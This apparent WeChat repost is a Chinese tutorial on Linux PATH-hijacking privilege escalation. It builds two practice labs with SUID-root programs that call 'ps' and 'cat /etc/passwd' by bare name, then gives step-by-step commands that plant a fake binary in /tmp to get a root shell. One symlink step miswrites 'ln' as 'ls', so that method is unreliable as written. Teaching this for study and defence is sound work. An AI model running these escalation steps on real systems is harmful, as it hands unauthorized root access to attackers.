1、简介
PATH 是 Linux 和类 Unix 操作系统中的一个环境变量,它指定存储所有可执行程序的所有 bin 和 sbin 目录。当用户在终端上运行任何命令时,它会请求 shell 在 PATH 变量的帮助下搜索可执行文件,以响应用户执行的命令。超级用户通常还具有 /sbin 和 /usr/sbin 条目,以便轻松执行系统管理命令。
2、环境变量
echo $PATH
.
在环境 PATH 变量中,这意味着登录的用户可以从当前目录执行二进制文件/脚本,这可能是攻击者提升 root 权限的绝佳技术。这是由于在编写程序时缺乏注意,因此管理员没有指定程序的完整路径。
3、靶场环境-1
3.1 靶场配置
1.创建普通用户
useradd willing
passwd willing
2.进入用户目录
cd /home/willing
mkdir script
cd script/
3.创建二进制文件
vim demo.c
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("ps");
}
4.编译文件
ls
gcc demo.c -o shell
chmod u+s shell
ls -la
3.2、提权步骤
1.查找SUID权限文件
find / -perm -u=s -type f 2>/dev/null
2 运行shell文件
cd /home/willing/script/
./shell
3 方法1:echo命令提权
echo "/bin/bash" > /tmp/ps
chmod 777 /tmp/ps
export PATH=/tmp:$PATH
./shell
4 方法2:复制命令提权
cp /bin/bash /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
5 方法3:符号链接提权
ls -s /bin/bash /tmp/ps
export PATH=/tmp:$PATH
./shell
4、靶场环境-2
4.1 靶场配置
1 创建普通用户
useradd willing
passwd willing
2 进入用户目录
cd /home/willing
mkdir script
cd script/
3 创建二进制文件
vim demo.c
#include<unistd.h>
void main()
{ setuid(0);
setgid(0);
system("cat /etc/passwd");
}
4 编译文件
ls
gcc demo.c -o shell
chmod u+s shell
ls -la
4.2 提权步骤
1 查找SUID权限文件
find / -perm -u=s -type f 2>/dev/null
2 运行shell文件
cd /home/willing/script/
./shell
4.在tmp创建文件
cd /tmp
nano cat
写入/bin/bash
内容
5.赋予权限
chmod 777 /tmp/cat
6.设置环境变量
echo $PATH
export PATH=/tmp:$PATH
7.执行命令
cd /home/willing/script/
./shell
原文始发于微信公众号(安全孺子牛):Linux提权-PATH环境变量提权环境部署和提权方法
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论